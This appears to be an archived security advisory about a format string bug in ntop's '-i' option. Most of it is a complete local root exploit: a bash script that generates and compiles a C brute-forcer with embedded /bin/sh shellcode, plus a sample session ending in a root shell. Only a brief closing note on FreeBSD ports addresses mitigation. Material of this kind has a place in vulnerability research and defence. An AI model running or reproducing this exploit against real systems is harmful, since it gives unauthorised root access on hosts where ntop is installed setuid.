|
Vulnerability ntop Affected ntop Description Paul Starzetz found following. There are various format string bugs in the ntop package. This is _not_ a new problem. However, in opposite to the '-w' option bug, an exploit for the existent '-i' option format string bug has never been posted/released. Many people assume, that format string bugs are heavy to exploit, beacause one must deal with strange offsets. But with a piece of tricky code, format string bugs become really easy exploitable. The idea is of course, not new: brute force the stack address where the retadr is saved during some 'printf' call. The format string needed to reach itself by consumig stack arguments is constructed in an automated manner. It looks like: <padding><stackeat><write><address><nops><shellcode> The offsets given at the beginning of the code come from ntop-1.0-21 as found on SuSE 6.1. Paul didn't have the source of ntop 1.0, but after looking at ntop 1.1 the exploit should work unchanged with 1.1, if not one can play with the value of writeadr and shelladr (try increasing writeadr by 0x100). The address of shellcode isn't critical as we can append enough nops to the begining of the shellcode, but of course it will depend on the size of the environment variables. The rest of the exploit code is really self-explanatory. Sample exploitation looks like this: paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > uname -a Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > id uid=500(paul) gid=100(users) groups=100(users),101(untrusted) paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > ntopexpl.sh configured for running /usr/sbin/ntop RETADR = 0xbffff000 SHELL = 0xbffff320 NOPS = 128 [+] found /usr/sbin/ntop now searching for offset [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71] [+] OFFSET found to be 284/71 now constructing magic string [+] string fileds prepared [+] bruteforce prog prepared now brute force [ 64] sh: ðÿ¿: command not found ntop: listening on PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%1 . . (some output) . 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff076tðÿ¿tðÿ¿uðÿ¿uðÿ¿vðÿ¿vðÿ¿wðÿ¿wðÿ¿sh-2.02# sh-2.02# id uid=0(root) gid=100(users) groups=100(users),101(untrusted) sh-2.02# Easy, isn't it? You will need an executable stack, of course. Credit goes to Ksecurity for finding this vulnerability. ########################## ntopexpl.sh ########################## #!/bin/bash # CONFIGURATION: umask 000 target="/usr/sbin/ntop" tmpdir="/tmp/" # address we want to write to (ret on the stack) # has to be an absolute address but we brute force # this scanning 64 addresses from writeadr on writeadr="0xbffff000" # no. of addresses to scan wrep=64 # address of the shell in our string # must point somewhere to our 'nop' region shadr="0xbffff320" # number of nops before shellcode declare -i nnops nnops=128 echo echo "-------------------------------------------" echo "| ntop local r00t exploit |" echo "| by IhaQueR |" echo "| only for demonstrative purposes |" echo "-------------------------------------------" echo echo echo "configured for running $target" echo "RETADR = $writeadr" echo "SHELL = $shadr" echo "NOPS = $nnops" echo # fake shellcode shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" # number of nops before shellcode declare -i nnops nnops=128 # make nop field declare -i idx idx=0 nfake="" while test $idx -lt $nnops; do nfake="N$nfake" idx=$(($idx+1)) done; # sanity check :-) if ! test -x $target ; then echo "[-] $target not found or not executable, sorry" exit 1 fi; echo "[+] found $target" declare -i cnt declare -i cntmax cnt=0 cntmax=1024 # make string used for offset search # like <head><addr><nops><shellcode> # PP stands for padding string="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nfake}${shellfake}" padding="PP" declare -i npad npad=2 gstring="" # find offset echo " now searching for offset" echo while test $cnt -le $cntmax ; do gstring="%16g$gstring" string="%16g$string" cnt=$(($cnt+1)) result=$($target -i "$padding$string" 2>&1 | grep "44434241") echo -n "[$cnt] " if test "$result" != "" ; then break; fi; done # found offset declare -i offset offset=$(($cnt * 4)) echo echo if test $cnt -gt $cntmax ; then echo "[-] offset not found, please tune padding :-)" exit 2 fi; echo "[+] OFFSET found to be $offset/$cnt" echo " now constructing magic string" # number of bytes written so far declare -i nwrt nwrt=$((16*${cnt} + ${npad})) # bruteforce echo "[+] string fileds prepared" echo cat <<__BRUTE__ >brute.c #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> // used with <string> <numwritten> <nops> main(int argc, char** argv) { unsigned char str[8192]; unsigned char buf[8192]; unsigned char nop[1024]; unsigned addr[9]; unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x"; // standard /bin/sh shell :-) unsigned char hellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; int i, flip, nbrute; unsigned char* ptr; unsigned shadr, rtadr, nwrt; int dn; // construct string like <pad><eatstack><head><addr><nops><shell> // no. of attempts nbrute = $wrep; // addr rtadr = $writeadr; while(nbrute>0) { printf("[%4d] ", nbrute); fflush(stdout); fflush(stderr); // nops for(i=0; i<atol(argv[3]); i++) nop[i] = 0x90; nop[i] = 0; // head shadr = $shadr; // 6 comes from "bind: " nwrt = atol(argv[2]) + 6; ptr = (unsigned char*)&shadr; for(i=0; i<4; i++) { flip = (((int)256) + ((int)ptr[i])) - ((int)(nwrt % 256)); nwrt = nwrt + flip; sprintf(head+i*8, "%%%04dx%%n", flip); } head[32] = 0; // address field for(i=0; i<4; i++) { addr[2*i] = rtadr + i; addr[2*i+1] = rtadr + i; } addr[8] = 0; sprintf(str, "%s%s%s%s%s", argv[1], head, addr, nop, hellcode); sprintf(buf, "./ntop -i \"%s\"", str); // kabuum system(buf); nbrute--; rtadr += 4; } return 0; } __BRUTE__ rm -rf brute gcc brute.c -o brute if ! test -x brute ; then echo "[-] compilation error, exiting" exit 2 fi; echo "[+] bruteforce prog prepared" echo " now brute force" echo brute "$padding$gstring" ${nwrt} ${nnops} echo "" echo "[+] done" echo "" Solution It's worth noting that FreeBSD doesn't (as of rev 1.13 of ports/net/ntop/Makefile) install this suid/sgid so this exploit isn't a problem if ntop was installed from ports/packages.